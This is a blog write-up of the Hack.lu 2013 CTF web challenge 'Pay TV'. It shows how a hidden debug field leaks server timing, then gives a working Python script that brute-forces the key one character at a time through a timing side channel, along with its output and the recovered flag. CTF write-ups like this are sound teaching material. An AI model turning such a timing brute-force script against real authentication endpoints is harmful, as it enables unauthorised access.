Hack.lu 2K13 Pay TV - web200

Published on Thursday, 24 October 2013 in CTF, Security ; tagged with hack.lu, ctf, write-up, web, 200, challenge, security, python, timing, attack ; text version

Hack.lu's CTF

Bonjour les gens !

The last two days, we have seen Hack.lu's CTF taking place online.
It was a lot of fun, their IRC channel was really fun, so was their challenges :)

Last results? 106 over 413 applying teams. Well done HackGyver \o/

Now it's time for the write-up. More precisely, the one on Pay TV, their 200 points web challenge.

Pay TV, the challenge

Pay TV homepage

The website is composed of a static image, a gif (the noise on the TV) and an input text box (a decoder?).

Pay TV noise

Really simplistic design and not so much to look around, except that noise and that input field.
When I saw that noise gif for the first time, I was really scared about some stegano inside.

Pay TV meme not today stega

My thought? Screw you stega, I'm not looking for you. Let's focus on the rest instead :P

Dive into the challenge

Pay TV wrong key

Trying some random keys, the first thing to notice is that the page doesn't reload and instantly displays Wrong key. Some javascript or AJAX must be there.
But first, let's check where the request is sent.

Pay TV post form

So that key is sent to /gimmetv and going on that link shows me that it only accepts POST request method.
Let's now check about the scripts.

Pay TV javascript

The only script on that page is indeed responsible for sending the key and checking the result.
I want to see more! BURP, I choose you!

Pay TV normal answer

After sending that test key, the answer is a JSON array, containing the response and a boolean.

Debug, oh my debug, tell me everything!

Pay TV debug field

Have you seen the line 17 of the script above? There is a comment on the request: a debug field. Interesting :)
Let see if there are any differences with that field.

Pay TV debug answer

Wow, that looks really helpful :)
With the timestamp before and after the check lead me to think of a timing attack.
Let's do some manual checks with the BURP's repeater.

Pay TV good first letter

Whereas it is instantly for random first letters, the A one takes 0.1 more second(?) than the others.
It looks like I'm on the right track.

Let's do some deeper checks with the second letter, assuming that my hypotesis is right.

Pay TV bad second letter Pay TV good second letter

Ok, that's it!
The closer from the right key is ours, the longer it takes for the server to check it.
Now that the two first letters are good, it takes 0.2 more second(?) more than other 2-letters couples.


Let's script that and get THE KEY! :)

import json
import urllib2

def get_charset():
    """Generate the charset composed of printable characters only"""

    return [chr(i) for i in xrange(33, 127, 1)]

def get_list_pwds(base, charset):
    """Generate the list of the next tested passwords"""

    return  [base + char for char in charset]

def guess_pwds(opener, url, max_length, base, charset):
    """Time attack the website"""

    found = False
    # Last amount of time taken for checking the password
    last_time = 0

    while len(base) <= max_length and not found:
        list_pwds = get_list_pwds(base, charset)
        for pwd in list_pwds:
            f = opener.open(url, 'key=' + pwd + '&debug')
            answer = json.loads(f.read().strip())
            found = answer['success']
            elapsed = answer['end'] - answer['start']

            # There is a difference about 0.1 second when the current guess is
            # correct
            if elapsed - last_time > 0.08:
                print 'Last successful guess:', pwd
                last_time = elapsed
                base = pwd

    if found:
        return base
    return ''

if __name__ == '__main__':
    URL = "https://ctf.fluxfingers.net:1316/gimmetv"
    SESSION = '481b7132ea2920244a8cf83fc8ee6c2bc427ad295db4e300388248caaadc77d4b132ebf4'
    # Create the build opener
    opener = urllib2.build_opener()
    opener.addheaders = [('Cookie', 'session=' + SESSION)]

    # Generate the charset
    charset = get_charset()

    # Original password is empty
    base = ''

    # Check for 12 characters passwords max
    correct_pwd = guess_pwds(opener, URL, 12, base, charset)
    if correct_pwd:
        print 'Correct password:', correct_pwd
        print 'Was not able to retrieve the password :/'

Quick and dirty, like always during CTFs, but at least it does the sh*t :)
Waiting for the output...

~/ctf/hacklu ยป python2 pay_tv.py
Last successful guess: A
Last successful guess: AX
Last successful guess: AXM
Last successful guess: AXMN
Last successful guess: AXMNP
Last successful guess: AXMNP9
Last successful guess: AXMNP93
Correct password: AXMNP93

Pay TV good key

Therefore the flag: OH_THAT_ARTWORK! \o/

Pay TV challenge validation

Bonus: Robot Pirates (music) :)

contactdepier.re About me License WTFPL2